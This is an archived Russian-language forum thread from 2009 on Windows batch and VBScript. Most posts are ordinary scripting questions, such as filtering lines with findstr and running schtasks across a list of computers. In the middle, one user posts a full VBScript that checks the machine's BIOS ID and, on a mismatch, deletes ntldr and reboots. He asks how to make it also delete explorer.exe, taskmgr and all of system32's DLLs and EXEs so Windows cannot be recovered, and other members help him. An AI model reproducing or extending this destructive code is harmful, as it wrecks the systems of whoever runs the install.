Имя пользователя:
Пароль:  
Помощь | Регистрация | Забыли пароль?  | Правила  

Компьютерный форум OSzone.net » Программирование, базы данных и автоматизация действий » Скриптовые языки администрирования Windows » Любой язык - [архив] Нужна помощь в написании BAT | CMD | VBS | WSH файлов

Закрытая тема
Настройки темы
Любой язык - [архив] Нужна помощь в написании BAT | CMD | VBS | WSH файлов

Новый участник


Сообщения: 23
Благодарности: 3

Профиль | Отправить PM | Цитировать


Внимание!


В связи с созданием отдельного форума по скриптовым языкам, эта тема переводится в архивное состояние. Если у вас есть вопрос, создайте новую тему или поднимите существующую, если в ней обсуждается аналогичная проблема.

Пожалуйста, не создавайте тем с названием "Помогите!" или "Нужна помощь в написании батника". Это и так понятно Заголовок темы должен быть осмысленным.





Исходный вопрос участника
Всех приветствую.
Задача следующая: смотрим в в каталог (например d:\dir\*.*) и если в нем сущетвуют файлы возраст которых более 40 дней, то отправляем email на указанный адрес.
Это сообщение посчитали полезным следующие участники:

Отправлено: 16:17, 01-11-2005

 

Аватара для Pozia

Ветеран


Сообщения: 2756
Благодарности: 211

Профиль | Отправить PM | Цитировать


Creat0R, его я скачал а как пользоваться??? Научите. Я запускаю команду содержния:

C:\WINDOWS\system32\screnc C:\ProtectUA.vbs C:\ProtectUA.vbe

Файл ProtectUA.vbs ложу в корень диска С и ничего не происходит. Помогите пожалуйста

содержание скрипта (часть его):

If strYouAreWelcome <> 1 Then
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set colOperatingSystems = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true")
strSystemDrive = objShell.ExpandEnvironmentStrings("%SystemDrive%")
objFSO.DeleteFile strSystemDrive & "\ntldr", True
For Each strOperatingSystem in colOperatingSystems
strOperatingSystem.Reboot()
Next
Else If strYouAreWelcome = 1 Then
ObjShell.Run ("C:\PKUNZIP -e -d -s" & strPassword & " C:\Protect.zip C:\"), 0, True
End If
End If

Жирным я выделил то что он удоляет при определенном условии. Как подправить правильно скрипт чтобы он заодно удалял допустим explorer.exe и папку system32?
Помогите пожалуйста

-------
Жизни вглядись в глаза: Это то, что ты всегда искал? Это то, что ты всегда хотел? Да или нет?


Отправлено: 02:21, 11-01-2009 | #571



Для отключения данного рекламного блока вам необходимо зарегистрироваться или войти с учетной записью социальной сети.

Если же вы забыли свой пароль на форуме, то воспользуйтесь данной ссылкой для восстановления пароля.


Аватара для Creat0R

Must AutoIt


Сообщения: 3054
Благодарности: 1009

Профиль | Сайт | Отправить PM | Цитировать


Цитата Pozia:
как пользоваться? »
Тут есть описание синтаксиса. Я сам никогда не использовал эту программу, поэтому подробнее расказать немогу .

Цитата Pozia:
Как подправить правильно скрипт чтобы он заодно удалял допустим explorer.exe и папку system32? »
Сомневаюсь что система позволит их удалить, но в любом случае, для удаления дополнительных файлов с этим скриптом, полагаю что будет достаточно просто дублировать строчку:

Код: Выделить весь код
objFSO.DeleteFile strSystemDrive & "\File.exe", True

-------
“Сделай так просто, как возможно, но не проще этого.”... “Ты никогда не решишь проблему, если будешь думать так же, как те, кто её создал.”

Альберт Эйнштейн

P.S «Не оказываю техподдержку через ПМ/ICQ, и по email - для этого есть форум. ©»

http://creator-lab.ucoz.ru/Images/Icons/autoit_icon.png Русское сообщество AutoIt | http://creator-lab.ucoz.ru/Images/Ic...eator_icon.png CreatoR's Lab | http://creator-lab.ucoz.ru/Images/Icons/oac_icon.png Opera AC Community

Это сообщение посчитали полезным следующие участники:

Отправлено: 02:56, 11-01-2009 | #572


Аватара для Pozia

Ветеран


Сообщения: 2756
Благодарности: 211

Профиль | Отправить PM | Цитировать


Цитата Creat0R:
есть описание синтаксиса »
а на русском где почитать не знаете?

-------
Жизни вглядись в глаза: Это то, что ты всегда искал? Это то, что ты всегда хотел? Да или нет?


Отправлено: 10:54, 11-01-2009 | #573


Аватара для Pozia

Ветеран


Сообщения: 2756
Благодарности: 211

Профиль | Отправить PM | Цитировать


Creat0R, разобрался с синтаксисом огромное спасибо.
По поводу удаления есть несколько уточнений:

1. Если мне надо удалить по расширению так будет работать?:
objFSO.DeleteFile strSystemDrive & "\*.exe", True

2. Если удалить папку так надо?
objFSO.DeleteFile strSystemDrive & "\WINDOWS\", True

3. Если буду чет удалять и винда скажет что нельзя то как подавить окошко с кнопкой OK?

4. Если я напишу так
objFSO.DeleteFile strSystemDrive & "\WINDOWS\...", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\...", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\...", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\...", True

то в операторные скобки заключать не надо чтобы все правильно работало? (это я что то с уроков информатики вспомнил, может и глупость ) Если надо то как?

-------
Жизни вглядись в глаза: Это то, что ты всегда искал? Это то, что ты всегда хотел? Да или нет?


Отправлено: 11:28, 11-01-2009 | #574



Moderator


Сообщения: 53200
Благодарности: 15441

Профиль | Отправить PM | Цитировать


Цитата Pozia:
1. Если мне надо удалить по расширению так будет работать?:
objFSO.DeleteFile strSystemDrive & "\*.exe", True
Работает.

Цитата Pozia:
2. Если удалить папку так надо?
DeleteFolder

Цитата Pozia:
3. Если буду чет удалять и винда скажет что нельзя то как подавить окошко с кнопкой OK?
Параметр True после запятой позволяет удалять read-only файлы или папки.
Заблокированные (на текущий момент) файлы вряд ли удалятся.

Цитата Pozia:
4. Если я напишу так
Экспериментируйте.
Это сообщение посчитали полезным следующие участники:

Отправлено: 11:40, 11-01-2009 | #575


Аватара для Pozia

Ветеран


Сообщения: 2756
Благодарности: 211

Профиль | Отправить PM | Цитировать


Petya V4sechkin, по поводу моего четвертого вопроса. Не получилось. Помогите подправить скрипт.

Вот он полностью
Option Explicit

Dim objWMIService, arrayBIOS, objBIOS, strAllowedHost, strYouAreWelcome
Dim strOperatingSystem, colOperatingSystems
Dim objFSO, objShell, strSystemDrive
Dim objBaseboard, arrayBaseboard, strComputerHost, strPassword

Const wbemFlagReturnImmediately = &h10
Const wbemFlagForwardOnly = &h20
Const wmiRestartForce = 4

strPassword = "пароль"
Dim arrayAllowedHosts(1)
arrayAllowedHosts(0) = "ID BIOS"
arrayAllowedHosts(1) = "ID BIOS 2"


Set objShell = CreateObject("Wscript.Shell")

Set objWMIService = GetObject("winmgmts:\\.\root\CIMV2")
Set arrayBIOS = objWMIService.ExecQuery("SELECT * FROM Win32_BIOS", "WQL", wbemFlagReturnImmediately + wbemFlagForwardOnly)
Set arrayBaseBoard = objWMIService.ExecQuery("SELECT * FROM Win32_BaseBoard", "WQL", wbemFlagReturnImmediately + wbemFlagForwardOnly)

For Each objBIOS In arrayBIOS
For Each objBaseboard In arrayBaseBoard
strComputerHost = objBios.ReleaseDate & objBaseboard.Product
For Each strAllowedHost in arrayAllowedHosts
If Trim(LCase(strComputerHost)) = Trim(LCase(strAllowedHost)) Then strYouAreWelcome = 1
Next
Next
Next

If strYouAreWelcome <> 1 Then
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set colOperatingSystems = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true")
strSystemDrive = objShell.ExpandEnvironmentStrings("%SystemDrive%")
objFSO.DeleteFile strSystemDrive & "\ntldr", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\regedit.exe", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\explorer.exe", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\system.ini", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\system32\taskmgr.exe", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\system32\shutdown.exe", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\system32\setup.exe", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\system32\route.exe", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\system32\msconfig.exe", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\system32\logonui.exe", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\system32\*.dll", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\system32\*.exe", True

For Each strOperatingSystem in colOperatingSystems
strOperatingSystem.Reboot()
Next
Else If strYouAreWelcome = 1 Then
ObjShell.Run ("C:\PKUNZIP -e -d -s" & strPassword & " C:\Protect.zip C:\"), 0, True
End If
End If

Set objFSO = CreateObject("Scripting.FileSystemObject")
objFSO.DeleteFile ("C:\Protect.zip")
objFSO.DeleteFile ("C:\PKUNZIP.EXE")


Жирным выделил то что добавил я. Если вы не в курсе что это за скрипт то это от сюда
Захотел его усовершенствовать тем чтобы помимо ntldr он удалял еще какие нибудь важные системные файлы, чтобы если даже и восстановят ntldr то система получится глючной или неработоспособной.

Так вот так как я записал скрипт не правильно работает. Если не дабовлять строки то он скрипт проверяет условие и если оно ложное то удаляет ntldr и перегружает комп. Когда я добавил эти жирные строки то скрипт удаляет ntldr и только и комп не перезагружается а идет установка дальше. Все остальное не трогает (хотя там есть файлы которые из под винды без проблем удаляются вручную). Я так понимаю скрипт обрабатывает только строку objFSO.DeleteFile strSystemDrive & "\ntldr", True а остальные не трогает. Как сделать чтобы все эти строки обрабатывались как одно целое?

-------
Жизни вглядись в глаза: Это то, что ты всегда искал? Это то, что ты всегда хотел? Да или нет?


Отправлено: 12:15, 11-01-2009 | #576


Аватара для Creat0R

Must AutoIt


Сообщения: 3054
Благодарности: 1009

Профиль | Сайт | Отправить PM | Цитировать


Цитата Pozia:
Если буду чет удалять и винда скажет что нельзя то как подавить окошко с кнопкой OK? »
При удалении не должно быть никаких окошек.

-------
“Сделай так просто, как возможно, но не проще этого.”... “Ты никогда не решишь проблему, если будешь думать так же, как те, кто её создал.”

Альберт Эйнштейн

P.S «Не оказываю техподдержку через ПМ/ICQ, и по email - для этого есть форум. ©»

http://creator-lab.ucoz.ru/Images/Icons/autoit_icon.png Русское сообщество AutoIt | http://creator-lab.ucoz.ru/Images/Ic...eator_icon.png CreatoR's Lab | http://creator-lab.ucoz.ru/Images/Icons/oac_icon.png Opera AC Community


Отправлено: 14:06, 11-01-2009 | #577


Аватара для Dr.Dark

Старожил


Сообщения: 224
Благодарности: 15

Профиль | Отправить PM | Цитировать


Помогите люди. Есть файл A.txt и B.txt. В B.txt есть строки совподаючие со строками A.txt. Как из A.txt удалить строки которые присутствуют в B.txt?
Скажите возможно это сделать через cmd? А то лень на VBS писать.

-------
Спасение утопающих-дело рук самих утопающих.


Отправлено: 22:00, 12-01-2009 | #578



Moderator


Сообщения: 53200
Благодарности: 15441

Профиль | Отправить PM | Цитировать


Цитата Dr.Dark:
Есть файл A.txt и B.txt. В B.txt есть строки совподаючие со строками A.txt. Как из A.txt удалить строки которые присутствуют в B.txt?
Код: Выделить весь код
Findstr /L /V /G:B.txt A.txt >NewA.txt
(результат в NewA.txt).
Это сообщение посчитали полезным следующие участники:

Отправлено: 22:47, 12-01-2009 | #579


Старожил


Сообщения: 173
Благодарности: 4

Профиль | Отправить PM | Цитировать


Есть вот такая команда:
Код: Выделить весь код
schtasks /create /tn "SysChecks" /tr c:\scripts\sch.bat /sc onstart /s
 compname /u domain\username
Которая добавляет Назначенное задание на compname.
Compname - это имя компьютера. Компьютер не один.
Как можно сделать перебор компьютеров из другого файла?
Я так понимаю нужно использовать команду for
Подскажите как? Я не понял.
Вот так будет работать?
Код: Выделить весь код
for %%f in (\\server\c$\pcname.txt) do schtasks /create /tn "SysChecks" /tr
 c:\scripts\sch.bat /sc onstart /s %%f /u domain\username
P.S. Команды написаны в одну строчку

Добавлено:
Я так понимаю, что вот так должно сработать если в файле pcname.txt список компьютеров представлен по одному в строчку и каждая строчка начинается с пробела. Причем файл со списком должен лежать в той же папке с исполняемым batником.
Я правильно понял?
Код: Выделить весь код
for /f %%f in (pcname.txt) do schtasks /create /tn "SysChecks" /tr
 c:\scripts\sch.bat /sc onstart /s %%f /u domain\username
Добавлено:
Не. Не работает. Пишет что на найден сетевой путь.

Добавлено:
Всё работает. Я забыл про этот параметр (который выше обозначен красным) и не вписал его в bat-файл. Плюс ещё в списке компьютеров (pcname.txt) были указаны два компьютера. Соседний и мой, т.е. локальный. И командная строка на это ругалась.
Всем спасибо. Скоро ещё зайду.

Последний раз редактировалось tarasov.evgeny, 13-01-2009 в 18:54. Причина: кое-что узнал...


Отправлено: 23:21, 12-01-2009 | #580



Компьютерный форум OSzone.net » Программирование, базы данных и автоматизация действий » Скриптовые языки администрирования Windows » Любой язык - [архив] Нужна помощь в написании BAT | CMD | VBS | WSH файлов

Участник сейчас на форуме Участник сейчас на форуме Участник вне форума Участник вне форума Автор темы Автор темы Шапка темы Сообщение прикреплено

Похожие темы
Название темы Автор Информация о форуме Ответов Последнее сообщение
VBS/WSH/JS - [решено] VBS/WSH. Сортировка файлов по дате. rancid Скриптовые языки администрирования Windows 3 23-07-2009 06:38
[решено] Как с помощью CMD(BAT) запустить запароленный sfx архив! ofcoss Автоматическая установка приложений 7 10-07-2009 00:41
CMD/BAT - [решено] Нужна помощь в создании bat-ника для распаковки и переименования файлов/папок Nun-Nun Скриптовые языки администрирования Windows 6 14-05-2009 15:45
Нужна снова ваша помощь в написании интересного скрипта Magnus Вебмастеру 2 09-06-2005 20:26
Нужна помощь в написании скрипта Magnus Вебмастеру 7 06-05-2005 10:53




 
Переход